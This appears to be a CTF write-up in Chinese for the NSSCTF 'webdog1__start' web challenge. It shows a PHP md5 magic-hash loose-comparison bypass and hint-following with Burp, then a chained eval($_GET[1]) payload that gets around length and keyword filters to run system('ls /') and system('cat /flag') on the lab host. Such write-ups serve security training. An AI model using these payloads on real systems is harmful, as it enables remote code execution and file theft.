NSSCTF.SWPUCTF_2022_新生赛_webdog1__start
| Files | Last commit | Last update |
|---|---|---|
| 5 months ago |
Writeup 4 [SWPUCTF 2022 新生赛]webdog1__start
打开靶机地址:
http://node5.anna.nssctf.cn:26954/learning.php
查看网页源代码:
<!--
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))
-->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
span {
position: relative;
display: flex;
width: 100%;
height: 700px;
align-items: center;
font-size: 70px;
font-family:'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;
justify-content: center;
}
</style>
</head>
<body>
<span>Do you really reading to start be a web dog?
DO you think you go here from where?
</span>
</body>
</html>
are you readying to start?
PHP 弱比较绕过:
构造 Payload:
?web=0e215962017
访问:
http://node5.anna.nssctf.cn:26954/learning.php?web=0e215962017
刷新网址,用 Burp 拦截,转发到 Repeater,点击 Send 按钮:
在 Burp 的响应报文的头部,发现:
hint: why not go to f14g.php first
在 Repeater 中,修改 Burp 的请求:
GET /f14g.php HTTP/1.1
Host: node5.anna.nssctf.cn:26954
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://node5.anna.nssctf.cn:26954/learning.php?web=0e215962017
Connection: keep-alive
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1780135096; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1780200555; HMACCOUNT=AF4664E126498256
Upgrade-Insecure-Requests: 1
Priority: u=0, i
点击 Send 按钮:
在 Burp 的响应报文的头部,发现:
hint: oh good job! but no flag ,come to F1l1l1l1l1lag.php
在浏览器中,继续访问:
http://node5.anna.nssctf.cn:26954/F1l1l1l1l1lag.php
页面显示:
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?>
代码审计
| 限制 | 说明 |
|---|---|
| 无空格 | $get 中不能包含空格字符 |
flag 被替换成空格 |
str_ireplace("flag", " ", $get),不区分大小写 |
| 长度 ≤ 18 | strlen($get) > 18 就 die |
最终 eval($get) |
执行 PHP 代码 |
绕过思路:链式调用
用 ?get=eval($_GET[1]); 来绕过长度限制,然后用第二个参数 1 执行任意命令。
http://node5.anna.nssctf.cn:26954/F1l1l1l1l1lag.php?get=eval($_GET[1]);&1=system(%27ls%20/%27);
页面显示:
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?> bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
取得 flag:
http://node5.anna.nssctf.cn:26954/F1l1l1l1l1lag.php?get=eval($_GET[1]);&1=system('cat%20/flag');
页面显示:
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?> NSSCTF{d126545a-bff3-4918-b6dd-e74f1ff04eab}
✌✌✌